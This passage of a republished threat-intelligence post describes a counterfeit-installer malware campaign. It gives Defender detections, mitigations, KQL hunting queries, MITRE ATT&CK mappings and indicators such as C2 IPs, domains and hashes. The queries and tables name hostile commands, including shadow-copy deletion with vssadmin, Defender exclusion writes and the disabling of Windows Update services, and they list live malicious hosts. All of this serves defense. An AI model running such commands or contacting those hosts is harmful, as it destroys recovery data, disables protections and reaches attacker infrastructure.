<em>A process was injected with potentially malicious code<\/em>, <em>Potential C2 connection behavior<\/em>, <em>Suspicious Task Scheduler activity<\/em>, and <em>Compromised account conducting hands-on-keyboard attack<\/em>. The campaign is not purely automated. In a subset of environments, the automated execution was accompanied by interactive, hands-on-keyboard activity, which attack disruption engaged to contain.<\/p>\n<p class=\"wp-block-paragraph\">Microsoft Defender also blocked the attempted Server Message Block (SMB) lateral movement to additional hosts (<em>Lateral movement using SMB remote file access blocked on multiple devices<\/em>) and detected the C2 connection behavior; the campaign\u2019s C2 endpoints are included in the blocked indicator set.<\/p>\n<p class=\"wp-block-paragraph\">Attack disruption contained the device and account; full eradication of persistence still required responder action.<\/p>\n<figure class=\"wp-block-table\" data-table-col-widths=\"[278,402]\">\n<table>\n<tbody readability=\"16.5\">\n<tr readability=\"2\">\n<td><strong>Stage<\/strong><\/td>\n<td><strong>Microsoft Defender coverage<\/strong><\/td>\n<\/tr>\n<tr readability=\"6\">\n<td>Fake-download landing and delivery domains<\/td>\n<td>Microsoft Defender SmartScreen, Network Protection, Web content filtering<\/td>\n<\/tr>\n<tr readability=\"5\">\n<td>Malicious ZIP and stage-one execution (including msiexec proxy execution)<\/td>\n<td>Microsoft Defender Antivirus (behavioral + cloud-delivered protection); Microsoft Defender for Endpoint<\/td>\n<\/tr>\n<tr readability=\"5\">\n<td>Defender tampering &amp; exclusion writes<\/td>\n<td>Tamper Protection; <em>Modification attempt in exclusion list<\/em> alerts; <em>Behavior:Win32\/MpTamperGpDisableAVFriendly.A<\/em><\/td>\n<\/tr>\n<tr readability=\"7\">\n<td> Persistence, privilege escalation, and injection<\/td>\n<td> Microsoft Defender for Endpoint \u2014 \u201cSuspicious Task Scheduler activity\u201d; \u201cA process was injected with potentially malicious code\u201d<\/td>\n<\/tr>\n<tr readability=\"8\">\n<td>Command and control, lateral movement, and hands-on-keyboard<\/td>\n<td>Microsoft Defender XDR \u2014 \u201cPotential C2 connection behavior\u201d; \u201cLateral movement using SMB remote file access blocked on multiple devices\u201d; \u201cCompromised account conducting hands-on-keyboard attack\u201d; Network protection (C2 block); Attack disruption (automatic containment)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h2 class=\"wp-block-heading\" id=\"mitigation-and-protection-guidance\">Mitigation and protection guidance<\/h2>\n<p class=\"wp-block-paragraph\">Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.<\/p>\n<h3 class=\"wp-block-heading\" id=\"campaign-specific-recommendations\">Campaign-specific recommendations<\/h3>\n<ul class=\"wp-block-list\">\n<li class=\"wp-block-list-item\">Enforce Tamper Protection. It blocks exclusion and registry writes to Microsoft Defender even when the payload runs as SYSTEM \u2014 directly countering the throwaway SYSTEM scheduled-task technique this campaign relies on.<\/li>\n<li class=\"wp-block-list-item\">Hunt behavior, not file names. File names and hashes rotate on every download; pivot on the <em>C:\\Users\\Public\\&lt;random&gt;\\&lt;random&gt;.exe<\/em> and <em>C:\\Program Files (x86)\\&lt;random&gt;\\&lt;random&gt;.exe<\/em> drop pattern, the Philips-Speech masquerade, and the stable stage-one and networking payload hashes.<\/li>\n<li class=\"wp-block-list-item\">Alert on the tamper sequence. A SYSTEM scheduled task writing <em>HKLM\\\u2026\\Windows Defender\\Exclusions\\Paths<\/em> then self-deleting, <em>vssadmin delete shadows \/all \/quiet<\/em>, and disabling wuauserv, UsoSvc, WaaSMedicSvc and uhssvc are high-fidelity signals.<\/li>\n<li class=\"wp-block-list-item\">Treat look-alike download archives as malicious in web and mail flow. Block ZIPs named <em>app_setup.*<\/em>, <em>zinst.*<\/em>, <em>zintall.*<\/em>, <em>intsoft.*<\/em>, and <em>innstll.*<\/em> served from <em>*.com.cn<\/em> or <em>*.hl.cn<\/em> brand-look-alike domains and the \/712down, \/73inst, \/7qinst, and \/ins711 delivery endpoints.<\/li>\n<li class=\"wp-block-list-item\">Correlate download referrers. Use FileOriginUrl and FileOriginReferrerUrl to catch landing-page to delivery-host pairs even after individual domains rotate, and block the C2 IP:port set and .net C2 domains.<\/li>\n<\/ul>\n<h3 class=\"wp-block-heading\" id=\"microsoft-defender-xdr-hardening-recommendations\">Microsoft Defender XDR hardening recommendations<\/h3>\n<p class=\"wp-block-paragraph\">Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:<\/p>\n<h3 class=\"wp-block-heading\" id=\"microsoft-defender-xdr-detections\">Microsoft Defender XDR detections<\/h3>\n<p class=\"wp-block-paragraph\">Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.<\/p>\n<p class=\"wp-block-paragraph\">Customers with provisioned access can also use <a href=\"https:\/\/learn.microsoft.com\/en-us\/defender-xdr\/security-copilot-in-microsoft-365-defender\">Microsoft Security Copilot in Microsoft Defender<\/a> to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.<\/p>\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-2.webp\" alt class=\"wp-image-149255 webp-format\" srcset data-orig-src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-2.webp\"><figcaption class=\"wp-element-caption\">Figure 3. Diagram mapping attacker activity stages to Microsoft Defender protections including SmartScreen, Defender Antivirus, endpoint detection and response (EDR) detections, Network Protection, and Attack Disruption.<\/figcaption><\/figure>\n<h3 class=\"wp-block-heading\" id=\"microsoft-security-copilot\">Microsoft Security Copilot <\/h3>\n<p class=\"wp-block-paragraph\">Security Copilot customers can use the standalone experience to <a href=\"https:\/\/learn.microsoft.com\/copilot\/security\/prompting-security-copilot#create-your-own-prompts\" target=\"_blank\" rel=\"noreferrer noopener\">create their own prompts<\/a> or run the following <a href=\"https:\/\/learn.microsoft.com\/copilot\/security\/using-promptbooks\" target=\"_blank\" rel=\"noreferrer noopener\">prebuilt promptbooks<\/a> to automate incident response or investigation tasks related to this threat: <\/p>\n<ul class=\"wp-block-list\">\n<li class=\"wp-block-list-item\">Incident investigation <\/li>\n<li class=\"wp-block-list-item\">Microsoft User analysis <\/li>\n<li class=\"wp-block-list-item\">Threat actor profile <\/li>\n<li class=\"wp-block-list-item\">Threat Intelligence 360 report based on MDTI article <\/li>\n<li class=\"wp-block-list-item\">Vulnerability impact assessment <\/li>\n<\/ul>\n<p class=\"wp-block-paragraph\">These promptbooks can help analysts summarize affected entities, review alert timelines, and pivot on the IOCs included in this blog. Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel. <\/p>\n<h3 class=\"wp-block-heading\" id=\"threat-intelligence-reports\">Threat intelligence reports<\/h3>\n<p class=\"wp-block-paragraph\">Microsoft Defender XDR customers can use <a href=\"https:\/\/learn.microsoft.com\/defender-xdr\/threat-analytics\" target=\"_blank\" rel=\"noreferrer noopener\">threat analytics<\/a> reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.<\/p>\n<h3 class=\"wp-block-heading\" id=\"advanced-hunting\">Advanced hunting<\/h3>\n<p class=\"wp-block-paragraph\">Microsoft Defender XDR and Microsoft Sentinel customers can run the following queries. . The behavior-based queries continue to work even as filenames, hashes, and domains rotate.<\/p>\n<p class=\"wp-block-paragraph\"><strong>Campaign payloads and loaders Surfaces execution or creation of the campaign\u2019s stable stage-one, later-stage, persistent, networking, and loader binaries by SHA-256.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"24\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nlet campaignSha256 = dynamic([ \"676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7\", \/\/ stage-one \"6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8\", \/\/ later-stage \"c4100ad39d8db98f063feb6c3b6c8e9a9f9d9bf25a1e0233f43b058ff8a7dbdf\", \/\/ networking \"1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17\", \/\/ persistent \"c6100166e2d3b40388980f7674712ef39e937ac04925ca5d370415399ed73faf\", \/\/ TrueUpdate loader \"f33d160d757e4b39019fdef21cf90cafb501b800ca0d4039366bc30856e3d81b\", \/\/ persistent\/networking \"e4fe2dee8f0bb132fa15fc686d1f93df39530a2d3a8d3a1f3a605a057c04e7b3\" \/\/ supporting DLL\n]);\nunion (DeviceProcessEvents | where SHA256 in (campaignSha256)), (DeviceFileEvents | where SHA256 in (campaignSha256))\n| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Randomized payload drop pattern Finds executables dropped into randomized folders under world-writable or system locations \u2014 the campaign\u2019s stable staging behavior regardless of filename.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"25\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nDeviceProcessEvents\n| where FolderPath matches regex @\"(?i)^C:\\\\(Users\\\\Public|ProgramData|Program Files \\(x86\\))\\\\[A-Za-z0-9]{4,10}\\\\[A-Za-z0-9]{4,10}\\.exe$\"\n| where InitiatingProcessFileName in~ (\"msiexec.exe\",\"explorer.exe\",\"svchost.exe\",\"cmd.exe\",\"7zFM.exe\",\"360zip.exe\",\"WinRAR.exe\")\n| project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Microsoft Defender exclusion tampering Detects the SYSTEM scheduled-task and PowerShell routines that write sweeping Microsoft Defender path exclusions.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"14\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nDeviceProcessEvents\n| where ProcessCommandLine has @\"Windows Defender\\Exclusions\\Paths\" or ProcessCommandLine has \"Add-MpPreference -ExclusionPath\" or (ProcessCommandLine has \"SCHTASKS\" and ProcessCommandLine has \"SYSTEM\" and ProcessCommandLine has \"Exclusions\")\n| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Recovery inhibition and Windows Update neutralization Surfaces shadow-copy deletion and the routine that stops, disables, or renames Windows Update service components.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"19\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nDeviceProcessEvents\n| where ProcessCommandLine has \"vssadmin delete shadows\" or (ProcessCommandLine has_all (\"sc\",\"config\",\"disabled\") and ProcessCommandLine has_any (\"wuauserv\",\"UsoSvc\",\"uhssvc\",\"WaaSMedicSvc\")) or ProcessCommandLine has \"NoAutoUpdate\" or (ProcessCommandLine has \"rename\" and ProcessCommandLine has_any (\"wuaueng\",\"WaaSMedicSvc\"))\n| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Windows Installer (msiexec) embedded-mode execution Catches the parallel delivery vector where msiexec launches a randomized payload from a world-writable path.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"15\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ \"msiexec.exe\"\n| where InitiatingProcessCommandLine has \"-Embedding\" and InitiatingProcessCommandLine has @\"Global\\MSI0000\"\n| where FolderPath has @\"C:\\Users\\Public\\\"\n| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessCommandLine\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Disguised scheduled-task execution Flags payloads relaunched by the Task Scheduler service from user-writable directories (the ~60-second re-execution loop).<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"15\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nDeviceProcessEvents\n| where InitiatingProcessCommandLine has \"netsvcs\" and InitiatingProcessCommandLine has \"Schedule\"\n| where FolderPath matches regex @\"(?i)^C:\\\\(Users\\\\Public|ProgramData|Program Files \\(x86\\))\\\\\"\n| where FileName endswith \".exe\"\n| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Command-and-control connections Matches callbacks to the campaign\u2019s C2 IP:port set and six-character .net C2 domains.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"38\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nlet c2ip = dynamic([\"202.95.14.237\",\"47.239.232.245\",\"161.248.87.157\",\"103.156.25.35\",\"103.183.3.162\",\"43.99.100.248\",\"47.239.175.163\",\"47.86.205.97\",\"47.243.218.255\"]);\nlet c2ports = dynamic([5090,7031,7032,7088,7089,7090,8050,28290,28300]);\nlet c2dom = dynamic([\"iualef.net\",\"euioxu.net\",\"czijbh.net\",\"wfmwsj.net\",\"tbdqxq.net\",\"oijfwe.net\"]);\nDeviceNetworkEvents\n| where (RemoteIP in (c2ip) and RemotePort in (c2ports)) or (RemoteUrl has_any (c2dom))\n| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, RemoteIP, RemotePort, RemoteUrl, ActionType\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<p class=\"wp-block-paragraph\"><strong>Malicious delivery domains and download endpoints Identifies connections to the dedicated delivery domains and the \/712down, \/73inst, \/7qinst, \/ins711 download paths.<\/strong><\/p>\n<div class=\"wp-block-syntaxhighlighter-code \" readability=\"25\">\n<pre class=\"brush: plain; auto-links: false; gutter: false; title: ; quick-code: false; notranslate\" title>\nlet deliveryHosts = dynamic([\"gehie246.com\",\"yimxg25tiy.com\",\"cc8ttkv35b.com\",\"n7b8t85zsg.com\",\"bxfh.tzcdq.cn\",\"tmsq.tzcdq.cn\",\"mebx78e02.com\",\"qwjre1487.com\"]);\nDeviceNetworkEvents\n| where RemoteUrl has_any (deliveryHosts) or RemoteUrl has_any (\"\/712down\",\"\/73inst\",\"\/7qinst\",\"\/ins711\")\n| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, ActionType\n| order by Timestamp desc\n<\/pre>\n<\/div>\n<h3 class=\"wp-block-heading\" id=\"mitre-att-ck-techniques-observed\">MITRE ATT&amp;CK techniques observed<\/h3>\n<p class=\"wp-block-paragraph\">This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the <a href=\"https:\/\/attack.mitre.org\/\">MITRE ATT&amp;CK framework<\/a>.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<tbody readability=\"35.5\">\n<tr readability=\"2\">\n<td><strong>Tactic<\/strong><\/td>\n<td><strong>Technique<\/strong><\/td>\n<td><strong>ID<\/strong><\/td>\n<td><strong>Observed in this campaign<\/strong><\/td>\n<\/tr>\n<tr readability=\"7\">\n<td>Resource Development<\/td>\n<td>Acquire Infrastructure: Domains \/ Web Services<\/td>\n<td>T1583.001 \/ T1583.006<\/td>\n<td>Registered look-alike .com.cn \/ .hl.cn brand domains, dedicated delivery hosts, and abused cloud object storage.<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Execution<\/td>\n<td>User Execution: Malicious File<\/td>\n<td>T1204.002<\/td>\n<td>Victims run a counterfeit installer downloaded from a spoofed vendor page.<\/td>\n<\/tr>\n<tr readability=\"7\">\n<td>Execution<\/td>\n<td>Command and Scripting Interpreter: PowerShell \/ Windows Command Shell<\/td>\n<td>T1059.001 \/ T1059.003<\/td>\n<td>PowerShell and cmd routines write Defender exclusions, delete shadow copies, and disable Windows Update.<\/td>\n<\/tr>\n<tr readability=\"5\">\n<td>Execution<\/td>\n<td>System Binary Proxy Execution: Msiexec<\/td>\n<td>T1218.007<\/td>\n<td>msiexec.exe -Embedding launches a randomized payload under a trusted, signed Windows binary.<\/td>\n<\/tr>\n<tr readability=\"6\">\n<td>Persistence \/ Privilege Escalation<\/td>\n<td>Scheduled Task\/Job: Scheduled Task<\/td>\n<td>T1053.005<\/td>\n<td>Disguised scheduled tasks provide ~60-second recurring execution and SYSTEM privilege escalation.<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Defense Evasion<\/td>\n<td>Impair Defenses: Disable or Modify Tools<\/td>\n<td>T1562.001<\/td>\n<td>Broad Add-MpPreference exclusions and registry exclusion writes weaken Microsoft Defender.<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Defense Evasion<\/td>\n<td>Masquerading: Match Legitimate Name or Location<\/td>\n<td>T1036.005<\/td>\n<td>Payloads impersonate a Philips Speech driver and run svchost.exe from non-system paths.<\/td>\n<\/tr>\n<tr readability=\"6\">\n<td>Defense Evasion<\/td>\n<td>Hijack Execution Flow: DLL Side-Loading<\/td>\n<td>T1574.002<\/td>\n<td>Payloads load a malicious library from their own directory \u2014 XPSPLOG.dll with the later-stage payload, UxEnhance64.dll with the stage-one payload.<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Defense Evasion<\/td>\n<td>Process Injection<\/td>\n<td>T1055<\/td>\n<td>Payload code is injected into the context of another process.<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Defense Evasion<\/td>\n<td>File and Directory Permissions Modification<\/td>\n<td>T1222.001<\/td>\n<td>icacls strips inheritance and hardens payload directories against removal.<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Defense Evasion<\/td>\n<td>Modify Registry<\/td>\n<td>T1112<\/td>\n<td>Registry keys are set for Defender exclusions and Windows Update policy.<\/td>\n<\/tr>\n<tr readability=\"4\">\n<td>Lateral Movement<\/td>\n<td>Remote Services: SMB\/Windows Admin Shares<\/td>\n<td>T1021.002<\/td>\n<td>Attempted SMB remote file access to additional hosts.<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Impact<\/td>\n<td>Inhibit System Recovery<\/td>\n<td>T1490<\/td>\n<td>vssadmin delete shadows \/all \/quiet removes volume shadow copies.<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Impact<\/td>\n<td>Service Stop<\/td>\n<td>T1489<\/td>\n<td>Stops and disables wuauserv \/ UsoSvc \/ WaaSMedicSvc to neutralize Windows Update.<\/td>\n<\/tr>\n<tr readability=\"3\">\n<td>Command and Control<\/td>\n<td>Ingress Tool Transfer<\/td>\n<td>T1105<\/td>\n<td>A repurposed updater runtime retrieves content from attacker-controlled cloud object storage and writes a further payload to disk.<\/td>\n<\/tr>\n<tr readability=\"7\">\n<td>Command and Control<\/td>\n<td>Application Layer Protocol \/ Non-Standard Port<\/td>\n<td>T1071 \/ T1571<\/td>\n<td>C2 over application-layer protocols on non-standard ports (5090, 7031\u20137090, 8050, 28290\/28300).<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"wp-block-heading\" id=\"indicators-of-compromise-ioc\">Indicators of compromise (IOC)<\/h3>\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-3.webp\" alt class=\"wp-image-149256 webp-format\" srcset data-orig-src=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/09\/image-3.webp\"><figcaption class=\"wp-element-caption\">Figure 4. Deceptive software download campaign: infrastructure relationships.<\/figcaption><\/figure>\n<figure class=\"wp-block-table\">\n<table>\n<tbody readability=\"3\">\n<tr>\n<td><strong>Campaign Layer<\/strong><\/td>\n<td><strong>Indicator<\/strong><\/td>\n<td><strong>Type<\/strong><\/td>\n<\/tr>\n<tr>\n<td>Lure \/ Impersonation<\/td>\n<td>pc-razerzone[.]com[.]cn<\/td>\n<td>Domain<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Lure \/ Impersonation<\/td>\n<td>app-microsoft-edge[.]com[.]cn<\/td>\n<td>Domain<\/td>\n<\/tr>\n<tr>\n<td>Lure \/ Impersonation<\/td>\n<td>kaspersky-lab[.]hl[.]cn<\/td>\n<td>Domain<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Delivery<\/td>\n<td>hxxps:\/\/www.gehie246[.]com\/712down<\/td>\n<td>URL<\/td>\n<\/tr>\n<tr>\n<td>Delivery<\/td>\n<td>gehie246[.]com<\/td>\n<td>Domain<\/td>\n<\/tr>\n<tr readability=\"2\">\n<td>Cloud Staging<\/td>\n<td>newopt001.oss-cn-hongkong.aliyuncs[.]com\/innstll.1.0.61.zip<\/td>\n<td>URL<\/td>\n<\/tr>\n<tr>\n<td>C2 Domain<\/td>\n<td>iualef[.]net<\/td>\n<td>Domain<\/td>\n<\/tr>\n<tr>\n<td>C2 Domain<\/td>\n<td>oijfwe[.]net<\/td>\n<td>Domain<\/td>\n<\/tr>\n<tr>\n<td>C2 Endpoint<\/td>\n<td>202.95.14[.]237:5090<\/td>\n<td>IP:Port<\/td>\n<\/tr>\n<tr>\n<td>C2 Endpoint<\/td>\n<td>103.183.3[.]162:5090<\/td>\n<td>IP:Port<\/td>\n<\/tr>\n<tr>\n<td>Payload<\/td>\n<td>676a2a7b94ca\u2026<\/td>\n<td>SHA256<\/td>\n<\/tr>\n<tr>\n<td>Payload<\/td>\n<td>c6100166e2d3\u2026<\/td>\n<td>SHA256<\/td>\n<\/tr>\n<tr>\n<td>Payload<\/td>\n<td>c4100ad39d8d\u2026<\/td>\n<td>SHA256<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h2 class=\"wp-block-heading\" id=\"references\">References<\/h2>\n<p class=\"wp-block-paragraph\" id=\"references\">Prior reporting and OSINT sources \u2014 Silver Fox (also known as Yinhu, \u94f6\u72d0)<\/p>\n<h2 class=\"wp-block-heading\" id=\"learn-more\">Learn more<\/h2>\n<p class=\"wp-block-paragraph\" id=\"learn-more\">For the latest security research from the Microsoft Threat Intelligence community, check out the <a href=\"https:\/\/aka.ms\/threatintelblog\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Threat Intelligence Blog<\/a>.<\/p>\n<p class=\"wp-block-paragraph\">To get notified about new publications and to join discussions on social media, follow us on <a href=\"https:\/\/www.linkedin.com\/showcase\/microsoft-threat-intelligence\" target=\"_blank\" rel=\"noreferrer noopener\">LinkedIn<\/a>, <a href=\"https:\/\/x.com\/MsftSecIntel\" target=\"_blank\" rel=\"noreferrer noopener\">X (formerly Twitter)<\/a>, and <a href=\"https:\/\/bsky.app\/profile\/threatintel.microsoft.com\" target=\"_blank\" rel=\"noreferrer noopener\">Bluesky<\/a>.<\/p>\n<p class=\"wp-block-paragraph\">To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the <a href=\"https:\/\/thecyberwire.com\/podcasts\/microsoft-threat-intelligence\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Threat Intelligence podcast<\/a>.<\/p>\n<p class=\"wp-block-paragraph\">Review\u202four\u202fdocumentation\u202fto learn\u202fmore about our real-time protection capabilities and see how\u202fto\u202fenable them within your\u202forganization.\u202f\u202f <\/p>\n<p> READ MORE <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2026\/09\/01\/counterfeit-installers-system-compromise-tracking-deceptive-software-download-campaign\/\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>An active campaign is impersonating legitimate software vendors to deliver malware through look-alike download pages and regenerated installer archives. Microsoft Defender Experts shares observed attack techniques, Defender XDR detections, indicators of compromise, and practical mitigations to help organizations identify, block, and respond to this threat.<br \/>\nThe post Counterfeit installers to system compromise: Tracking a deceptive software download campaign appeared first on Microsoft Security Blog. READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[276],"tags":[28],"class_list":["post-61334","post","type-post","status-publish","format-standard","hentry","category-microsoft-secure","tag-malware"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Counterfeit installers to system compromise: Tracking a deceptive software download campaign 2026 | ThreatsHub Cybersecurity News<\/title>\n<meta name=\"description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Counterfeit installers to system compromise: Tracking a deceptive software download campaign 2026 | ThreatsHub Cybersecurity News\" \/>\n<meta property=\"og:description\" content=\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security &amp; Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.threatshub.org\/blog\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\/\" \/>\n<meta property=\"og:site_name\" content=\"ThreatsHub Cybersecurity News\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-01T22:48:28+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"432\" \/>\n\t<meta property=\"og:image:height\" content=\"435\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"TH Author\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@threatshub\" \/>\n<meta name=\"twitter:site\" content=\"@threatshub\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"TH Author\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"22 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/\"},\"author\":{\"name\":\"TH Author\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\"},\"headline\":\"Counterfeit installers to system compromise: Tracking a deceptive software download campaign\",\"datePublished\":\"2026-09-01T22:48:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/\"},\"wordCount\":3467,\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.microsoft.com\\\/en-us\\\/security\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/09\\\/image-458x1024.webp\",\"keywords\":[\"Malware\"],\"articleSection\":[\"Microsoft Secure\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/counterfeit-installers-to-system-compromise-tracking-a-deceptive-software-download-campaign\\\/\",\"name\":\"Counterfeit installers to system compromise: Tracking a deceptive software download campaign 2026 | ThreatsHub Cybersecurity 